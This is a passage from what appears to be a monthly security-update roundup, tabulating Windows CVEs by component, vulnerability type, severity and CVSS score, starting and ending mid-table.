\n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  